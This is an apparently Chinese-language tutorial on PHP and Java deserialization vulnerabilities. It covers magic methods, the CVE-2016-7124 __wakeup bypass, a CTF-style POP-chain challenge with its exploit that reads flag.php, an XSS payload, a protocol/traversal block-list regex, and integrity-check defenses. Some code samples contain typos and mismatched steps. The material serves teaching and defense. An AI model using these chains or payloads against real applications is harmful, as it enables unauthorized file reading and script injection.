0x01 前言
概念:这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦 序列化的目的是方便数据的传输和存储. json 是为了传递数据的方便性.。
0x02 序列化与反序列化
序列化:函数 : serialize() 把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
反序列化: 函数: unserialize() 恢复原先被序列化的变量
0x03 魔术函数
__construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发
1.序列化
class people{ public $name = 'sam'; private $sex = 'man'; protected $age = '20'; } $people1 = new people(); $object = serialize($people); print_r($object); 123456789101112131415
定义一个people类,含有公共属性name,私有属性sex,保护属性age。随后实例化一个people1,并对其进行序列化,最后输出结果为:
O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
2.反序列化
<?php class people{ public $name = 'sam'; private $sex = 'man'; protected $age = '20'; } $people1 = new people(); $object = serialize($people1); $a=unserialize($object); #print_r($object); var_dump($a); 1234567891011121314151617
输出为:
object(people)#2 (3) { ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
这里需要说明一下,对于public的属性无需其他特殊操作,但是对于private属性,描述的时候需要在前后添加空格,或者带上其所在的类名,对于protected属性需要加" * "。
几个魔法函数的调用
1. __wakeup() 当unserialize()函数反序列化时,在数据流还未被反序列化未对象之前会调用该函数进行初始化. 2. __destruct() 当对象销毁时触发,也就是说只要你反序列化或者实例化一个对象,当你调用结束后都会触发该函数。
<?php class star{ public $a; function __wakeup(){ echo "hi"; } function __destruct(){ echo "结束了"; } } $s='O:4:"star":1:{s:1:"a";N;}'; unserialize($s); 123456789101112
结果:hi结束了
可以看到,先输出了hi,说明wakeup()函数先被调用,随后整个反序列化结束,对象被销毁,触发destruct()函数,输出结束了。
3. __toString() 当一个对象被当作字符串使用时触发。
<?php class star{ public $a; function __wakeup(){ echo $this->a; } } class next{ function __toString(){ echo "我在这"; } } $t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}'; unserialize($t); 1234567891011121314
结果:我在这
Catchable fatal error: Method next::__toString() must return a string value in /tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5
这里没有retrun,也没有忽略报错,所有有一条报错信息,无关紧要,但是要说的是,__toString()是要又return的,不然会报错。结果显示当类star中的
echo $this->a; 1
执行时,a被当作一个字符串,此时我将a设置为类next,此时类next作为字符串被调用,所以触发类next中的toString()函数,输出“我在这”。4. invoke() 当类被当作函数调用时触发,看实例。
<?php class star{ public $a; function __wakeup(){ $function=$this->a; return $function(); } } class next{ function __invoke(){ echo "我在这"; } } $t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}'; unserialize($t); 123456789101112131415
结果:我在这
分析过程和上面那个函数一样,也是通过反序列化给a赋值,只是赋的不是字符串而是其他类,然后
return $function(); 1
的时候,将类当作函数调用,触发了invoke()函数输出了“我在这”。**5. get()** 这个函数是当访问不可访问的属性的时候触发,不可访问的属性有两种
私有属性或者保护属性,这种访问受限的属性的时候会触发__get() 属性不存在的时候,也会触发__get()
<?php class star{ public $a; function __wakeup(){ return $this->str['str']->source; } } class next{ function __get($name){ echo "我在这"; return; } } $t='O:4:"star":2:{s:1:"a";N;s:3:"str";a:1:{s:3:"str";O:4:"next":0:{}}}'; unserialize($t); 123456789101112131415
结果:我在这
通过str[‘str’]赋值为类next,访问next的source,但是类next中不存在属性source所以触发__get()函数,访问保护属性等同理。
小结:反序列化的过程通过这些魔法函数可以达到我们想到要的操作,尤其是后面3个函数,大家会发现,这三个函数可以达到多个类的连续使用,从而达到链的效果,这也就是反序列化中的pop链的编写,接下来我们讲一下反序列化的漏洞
0x04 反序列化漏洞
1.__wakeup( )绕过(CVE-2016-7124) 反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本: PHP before 5.6.25 7.x before 7.0.10
<?php class star{ public $a; function __wakeup(){ echo $this->a; } } $t='O:4:"star":1:{s:1:"a";s:9:"我在这";}'; unserialize($t); 123456789
结果:我在这
O:4:"star":2:{s:1:"a";s:9:"我在这";} 1
结果:无输出
结果显示,当表示属性个数大于真实个数时,wakeup()函数不执行,被绕过了,通常题目中,wake()中含有很多限制,通过这个漏洞绕过__wake()可以达到绕过限制的目的。
2.POP链构造
POP链的构造
首先认识一下什么是POP?POP面向属性编程。指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。其实就是构造一条和原代码需求一样的链条,去找到被控制的属性或方法,从而构造POP链达到攻击的目的。
直接上题方便理解
<?php //flag is in flag.php error_reporting(1); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } } class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome'."<br>"; } public function __toString() { return $this->str['str']->source; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); } } if(isset($_GET['hello'])) { unserialize($_GET['hello']); } else { $show = new Show('pop3.php'); $show->_show(); }
1.首先看到unserialize($_GET[‘hello’]) 将get传参的hello进行了反序列化操作。那么将会调用到Show类中__weakup方法。 2.因为 this->source = “index.php” source被当做字符串所以调用Show类中的__to string. 3. ** return $this->str[‘str’]->source ** source属性不存在所以调用Test类中的 get方法。 4. ** $function = $this->p; return $function(); ** 把取出来的p当做还是调用因此又会引起调用了 Read类中的__invoke方法,其中就可以把文件读取出来了。
exp
<?php class Show{ public $source; public $str; } class Test { public $p; } class Read{ publc $var = "flag.php" } $s = new Show(); $t = new Test(); $r = new Read(); $t -> p = $r; $s ->str["str"] = $t; $s -> source = $s; var_dump(serialize($s));
0x05 反序列化详讲
1.简介
序列化就是将数据转化成一种可逆的字符串,字符串还原原来结构的过程叫做反序列化
序列化后,方便保存和传输(保留成员变量,不保留函数方法)
数据(对象)--------序列化---------->字符串-----------反序列化-------->数据(对象)
2.原理
函数:
serialize()序列化
将一个对象转换成可以传输的一个字符串 序列化对象后,可以方便的将它传递到其他需要它的地方,且其类型和结构不会改变 eg: class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s); //把这个对象进行序列化
unserialize()反序列化
将序列化后的字符串还原成一个对象,或数组(即进行反序列化),并返回原始的对象结构并在后面的代码中继续使用,加密后的字符串如下所示
对字符串代码进行分析:
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //得到的结果为pikachu O:1:"S":1:{s:4:"test";s:7:"pikachu";} //这是序列化结果
O:代表object 1:代表对象名字长度为一个字符 S:对象名称 1:代表对象里面有一个变量 s:数据类型 4:变量名长度 test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值
常见的序列化格式:
二进制格式 字节数组 json字符串 xml字符串 …… 布尔型(bool):b 整数型(int):i 字符串型(str):s 数组型(array):a 对象型(object):O NULL型:N
产生的原因:
对用户的输入检测不严
1.无类:当未检测出攻击者输入的序列化字符串中包含的恶意执行语句攻击者从而达到控制反序列化过程,进而进行恶意代码的执行(好比SQL注入,目录遍历等操作)2.有类:当进行反序列化的时候就有可能会触发对象中的一些魔术方法
魔术方法(触发):
(前提:有可利用的类) __construct() //创建对象时触发 __destruct() //对象销毁时触发 __call() //在对象中调用不可访问的方法时触发 __callStatic() //在静态中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发 __wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数
利用:
分析
因为这是反序列化API所以要先把包含执行语句的php序列化
构造序列化编写包含恶意语句的php下面是一个弹窗
<?php class S{ var $test = "<script>alert('xss')</script>"; } $a = new S(); echo serialize($a); ?>
构造出来是:
O:1:"S":1:{s:4:"test";s:29:"";}
并将其进行序列化(网上的在线工具都可)
输入执行将序列化后的复制到输入框提交
会产生弹窗
0x06 JAVA反序列化和反序列化详解
1、 序列化和反序列化的必要性当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。而JAVA其实是面向对象的开发方式,一切都是JAVA对象,想要实现JAVA对象的网络传输,就可以使用序列化和反序列化来实现。发送方将需要发送的Java对象序列化转换为字节序列,然后在网络上传送;接收方接收到字符序列后,使用反序列化从字节序列中恢复出Java对象。Java序列化的好处:一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里);二是利用序列化实现远程通信,即在网络上传送对象的字节序列。总之:在网络中数据的传输必须是序列化形式来进行的。其他序列化的方式可以是json传输,xml形式传输。2、序列化和反序列化(1)含义:序列化就是内存中的对象写入到IO流中,保存的格式可以是二进制或者文本内容。反序列化就是IO流还原成对象(2)用途:
传输网络对象 保存Session
3、Java序列化演示(1)序列化java.io.ObjectOutputStream 代表对象输出流,它的 writeObject()方法可对参数指定的对象进行序列化,把得到的字节序列写到一 个目标输出流中。(2)反序列化java.io.ObjectInputStream 代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对 象,并将其返回。4、反序列化漏洞(1)如果某个类需要自定义反序列化方式,可以重写类的 readObject() 方法(2)在反序列化的过程中,会调用这个类中的重写的readObject()方法(3)如果readObject()方法的代码有一些敏感操作,就可能会引发漏洞(或者自定义的反序列化方法)5、实现Java对象序列化与反序列化的方法如果有一个Demo类,它的对象需要序列化,提供如下三种方法:(1)方法一:若Demo类仅仅实现了Serializable接口,则可以按照以下方式进行序列化和反序列化。ObjectOutputStream采用默认的序列化方式,对Demo对象的非transient的实例变量进行序列化。ObjcetInputStream采用默认的反序列化方式,对对Demo对象的非transient的实例变量进行反序列化。(2)方法二:若Demo类仅仅实现了Serializable接口,并且还定义了readObject(ObjectInputStream in)和writeObject(ObjectOutputSteam out),则采用以下方式进行序列化与反序列化。ObjectOutputStream调用Demo对象的writeObject(ObjectOutputStream out)的方法进行序列化。ObjectInputStream会调用Demo对象的readObject(ObjectInputStream in)的方法进行反序列化。(3)方法三:若Demo类实现了Externalnalizable接口,且Demo类必须实现readExternal(ObjectInput in)和writeExternal(ObjectOutput out)方法,则按照以下方式进行序列化与反序列化。ObjectOutputStream调用Demo对象的writeExternal(ObjectOutput out))的方法进行序列化。ObjectInputStream会调用Demo对象的readExternal(ObjectInput in)的方法进行反序列化。6、JDK类库中序列化的步骤步骤一:创建一个对象输出流,它可以包装一个其它类型的目标输出流,如文件输出流:
ObjectOutputStream out = new ObjectOutputStream(new fileOutputStream(“C:\\java_JDK\\objectfile.obj”));
步骤二:通过对象输出流的writeObject()方法写对象:
String obj1 = (String)in.readObject(); Date obj2 = (Date)in.readObject();
7、transient关键字transient关键字表示有理的,被修饰的数据是不能进行序列化的修改如下:
private transient char sex; //被transient关键字修饰,不参与序列化
运行结果:
文件存在 name = Tom sex = year = 20 gpa = 3.6
此时可以看见,被transient关键字修饰的变量sex并没有被序列化,返回了空值。
0x07 反序列化防御
治病需要除根,能从根本上阻止反序列化安全问题的防御方案就是完整性校验,而最常见的例子之一就是JWT。
我们知道JWT由3部分组成:Header,Payload,Verify Signature。最后的签名部分其实就是对数据进行完整性校验的关键部分。
图:JWT基本结构
服务器端在接受到JWT之后,首先用secret对数据部分进行哈希计算,随后检查计算出来的哈希值是否和请求中的JWT签名部分的哈希值相同。若两者一致则认为数据完整性没有被破坏,若两者有差异则说明数据被修改过。
如果攻击者想要凭空伪造一个JWT,或者想修改JWT中的数据,但由于计算哈希值的secret只有服务器端才知道,因此攻击者无法伪造出合法的签名字段,进而这样有问题的JTW很容易就能被服务器端识别出来。
值得注意的是,完整性校验还需要把数据结构也包含进来,这是因为攻击者可能会修改序列化后的数据的结构,而不仅仅只是数据。
其他防御措施
除此之外其他有助于防御反序列化安全问题的措施,但并不能完美的做到事前预防,例如:
反序列化之前,先进行严格的数据类型校验。由于校验规则容易被攻击者探索出来,进而容易被绕过,因此防御不能仅依赖这一个手段,但可以作为完整性校验防御方案的补充。 对反序列化过程进行详尽的日志记录,用以安全审计或调查。 监控反序列化过程,在发现疑似反序列化攻击时进行警报。